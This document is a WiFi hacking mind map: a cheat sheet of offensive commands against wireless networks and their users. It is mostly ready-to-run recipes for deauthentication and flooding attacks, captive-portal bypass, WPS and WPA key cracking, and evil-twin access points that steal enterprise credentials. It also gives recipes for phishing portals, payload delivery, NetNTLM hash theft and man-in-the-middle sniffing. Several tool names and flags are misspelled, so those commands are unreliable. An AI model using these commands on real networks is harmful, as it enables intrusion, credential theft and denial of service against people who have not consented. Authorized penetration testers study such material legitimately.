

WiFi Hacking Mind Map - v1.0

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WiFi Hacking

Monitoring

- iw reg set B0; iwconfig wlan0 txpower 30 → Increase TX Power
- airodump-ng mon0 → Monitor 2.4GHz (w/ channel hopping)
- airodump-ng --band a mon0 → Monitor 5GHz (w/ channel hopping)
- airodump-ng -c <channel> mon0 → Monitor specific Channel
- airodump-ng -c <channel> --bssid <MAC_AP> -w <capture_file> mon0 → Monitor Clients on AP
- airodump-ng -c <channel> --bssid <MAC_AP> mon0
aireplay-ng -0 20 -a <MAC_AP> mon0 → Find Hidden SSID
- kismet -c mon0 → All-in-one w/ web UI
- airgraph-ng -r targetnet.pcap -w TARGETNET
airgraph-ng -i TARGETNET-01.csv -g CPG -o targetnet-pnl.png → Generate Graph of Probe Requests of nearby Devices
- https://wifile.net → Wardriving

Denial of Service

- aireplay-ng --death 20 -c <MAC_target> -a <MAC_AP> mon0 → Deauthentication / Disassociation
- mdk4 mon0 d -c <channel> -E <SSID> → Beacon Flooding
- mdk4 mon0 b -a -w nta -m → Simulate many fake APs seen by clients
Client confusion, crash network scanners
- mdk4 mon0 a -m -a <MAC_AP> → Authentication DoS
- mdk4 mon0 e -t <MAC_AP> → Keep AP busy with fake sessions
Disable handling of legitimate clients
- mdk4 mon0 e -t <MAC_AP> -i → Kick clients from AP

Hotspot Captive Portal Bypass

- ifconfig wlan0 hw ether <authorized_MAC_address> → MAC-based Authorization
- ettercap -T -q -i wlan0 -w dump -M ARP -<IP_authorized_clients> /<IP_gateway>/
iptables -t nat -A OUTPUT -d 1 <LAN> -j SNAT --to <IP_authorized_clients>
iptables -t mangle -A FORWARD -d <IP_authorized_clients> -j TTL --ttl-inc 1; → IP-based Authorization
- modprobe bridge; brctl addbr br0; brctl addif br0 <interface>;
ebtables -t nat -A POSTROUTING -o <interface> -d <MAC_gateway> -j snat --to-source <MAC_authorized_clients>;
Then apply method for IP-based Authorization bypass → MAC+IP-based Authorization

Authentication Cracking

WEP

- Obsolete Protocol
- wifite
- airgeddon.sh

All Attacks in one tool (Replay, Chopchop, Fragment, Hirte, P0841, Caffè-latte)

WPA/WPA2-Personal (PSK)

- WPS PIN Attack
 - Known PINs + Generation Algorithms → airgeddon.sh -> Known PINs database based attack
 - WPS PIN Bruteforce (online) → reaver -i mon0 -b <MAC_AP> -c <channel> -f -N [-L -d 2] -vv
 - WPS Pixie Dust Attack (offline) → reaver -i mon0 -b <MAC_AP> -c <channel> -S -F -B -v 3
 - Null PIN attack → reaver -i mon0 -b <MAC_AP> -c <channel> -K -N -vv
- Handshake Capture (req. client) & Cracking → airgeddon.sh -i mon0 -b <MAC_AP> -c <channel> -f -N -g 1 -vv -p "
- PMKID Capture (client-less) & Cracking → hcxduptool -i mon0 -o capture.pcapng --enable_status=1 -c <channel> hcxcaptool -E ssidlist -I Identitylist -U useramelist -z capture.16800 capture.pcapng hashcat -m 16800 capture.16800 -a 0 -w 4 <wordlist>

Can be automated using: wifite --wps-only [-bully]

WPA/WPA2-Enterprise (MGT)

- RADIUS Usernames Capture → Wireshark > "Identity" field into EAP Message of type "Response, Identity"
- RADIUS Accounts Bruteforce / Password Spraying → eaphammer --eap-spray --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ --ssid <target_ESSID> --password <password_to_spray> --user-list <usernames_list>
- LEAP & EAP-MD5 Handshake Capture & Cracking → airdump-ng -c <channel> --bssid <AP_MAC> -w <capture> mon0
eapmd5pass f <capture> -w <wordlist> # For EAP-MD5
asleep -r <capture> -W <wordlist> # For LEAP (crack MSCHAPv2 challenge/response)
- MSCHAPv2 Challenge / Response Capture (via Rogue AP) & Cracking → asleep -C <mschapv2_challenge> -R <mschapv2_response> -W <wordlist> # Challenge/response colon-delimited format

Only possible when RADIUS Identity is sent in cleartext (EAP-MD5, LEAP, sometimes in weak config of other methods)

LEAP & EAP-MD5 are old deprecated EAP methods that transmit client authentication (challenge/response) in cleartext

Possible when EAP method is using MSCHAPv2 for client authentication (e.g. PEAPv0(MSCHAPv2), EAP-TTLS(MSCHAPv2))

Rogue AP / Evil Twin

Basic Open Hotspot

- berate_ap <interface_AP> <interface_internet> <SSID>

Open Network Evil Twin

- airgeddon.sh
- fluxion.sh
- wifipumpkin3
- eaphammer -i wlan0 --channel <channel_number> --auth open --ssid <SSID>

WPA/WPA2-Personal Evil Twin

- WPA Passphrase Known → eaphammer -i wlan0 --channel <channel_number> --auth wpa-psk \ --ssid <SSID> --wpa-passphrase <passphrase>
- WPA Passphrase Unknown → Spawn Open Network Evil Twin instead to attack clients (e.g. Phishing attack to retrieve Passphrase)
- Capture WPA (half) Handshake of connecting clients & Cracking → eaphammer -i wlan0 --channel <channel_number> --auth wpa-psk \ --ssid <SSID> --wpa-passphrase randompassphrase --capture-wpa-handshake

WPA/WPA2-Enterprise Evil Twin

- RADIUS Credentials Stealing → eaphammer --cert-wizard
eaphammer -i wlan0 --channel <channel_number> --auth wpa-eap \ --ssid <SSID> --creds
- EAP (MSCHAPv2) Relay → berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout <file_captured_creds> \ <interface_AP> <interface_internet> <SSID> wpa_sycophant.sh -c wpa_sycophant_example.conf -i <interface>
- RADIUS Credentials Known → ehdb --add --identity <username> --password <password> # Add credentials in db
ehdb --add --identity <username> --nt-hash <ntlm_hash> # Add creds with NTLM hash in db
eaphammer -i wlan0 --channel <channel_number> --auth wpa-eap \ --ssid <SSID_corporate_wifi>

Possible if: - EAP method does not use client-certificate for client authentication - Server certificate validation not enforced on client

Possible if: - Target network uses EAP method with MSCHAPv2 for client authentication - Server certificate validation not enforced on client

802.11 Network Selection Algorithms Abuse (for Open Network)

- KARMA Attack (outdated) → By default with wifiphisher
- MANA Attack (KARMA improvement) → Add --mana option in eaphammer command
- Loud MANA (MANA Improvement) → Add --mana --loud in eaphammer command
- Known Beacons Attack → Add --mana --known-beacons in eaphammer command

Abuse clients' active probing

Abuse clients' passive scanning

Attacker Connected to Target Network

Clients Attacks

Standard Man-in-the-Middle Attacks

- ARP Spoofing → Bettercap > arp.spoof module
- DNS Spoofing → Bettercap > dns.spoof module
- Credentials Sniffing → Bettercap > net.sniff module
Pcredz -i <interface> -v
python net-creds.py -i <interface>
dsniff -i <interface>
- JS Injection → Bettercap > caplet beef-active

Not needed when client connected to rogue AP because attacker already in position of MitM

Captive Portal Attack

- Phishing (Social Engineering) → wifiphisher -al <interface_rogue_AP> -el <interface_deauthenticating> -il <internet_interface> \ -p firmware-upgrade --handshake-capture handshake.pcap --ssid <target_SSID> -kN
wifipumpkin3 --xpulp "set interface wlan0; set ssid <SSID>; set proxy captiveflask; start"
Add --captive-portal in eaphammer command
airgeddon.sh
fluxion.sh
- Payload Delivery → wifiphisher -al <interface_rogue_AP> -il <interface_jamming> -p plugin_update --handshake-capture handshake.pcap -kN

NetNTLM Hash Stealing

- Hostile Portal Attack (Redirect to SMB) → Add --hostile-portal in eaphammer command
- NBT-NS/LLMNR Poisoning → Responder.py -i <interface> --wrf

HTTP traffic redirected to SMB share on attacker's machine

Passive Sniffing

- Traffic Decryption → Wireshark (requires PSK or PMK)
airdecap-ng -e <ESSID> -p <passphrase> <capture_pcap>

Client Connected to Rogue AP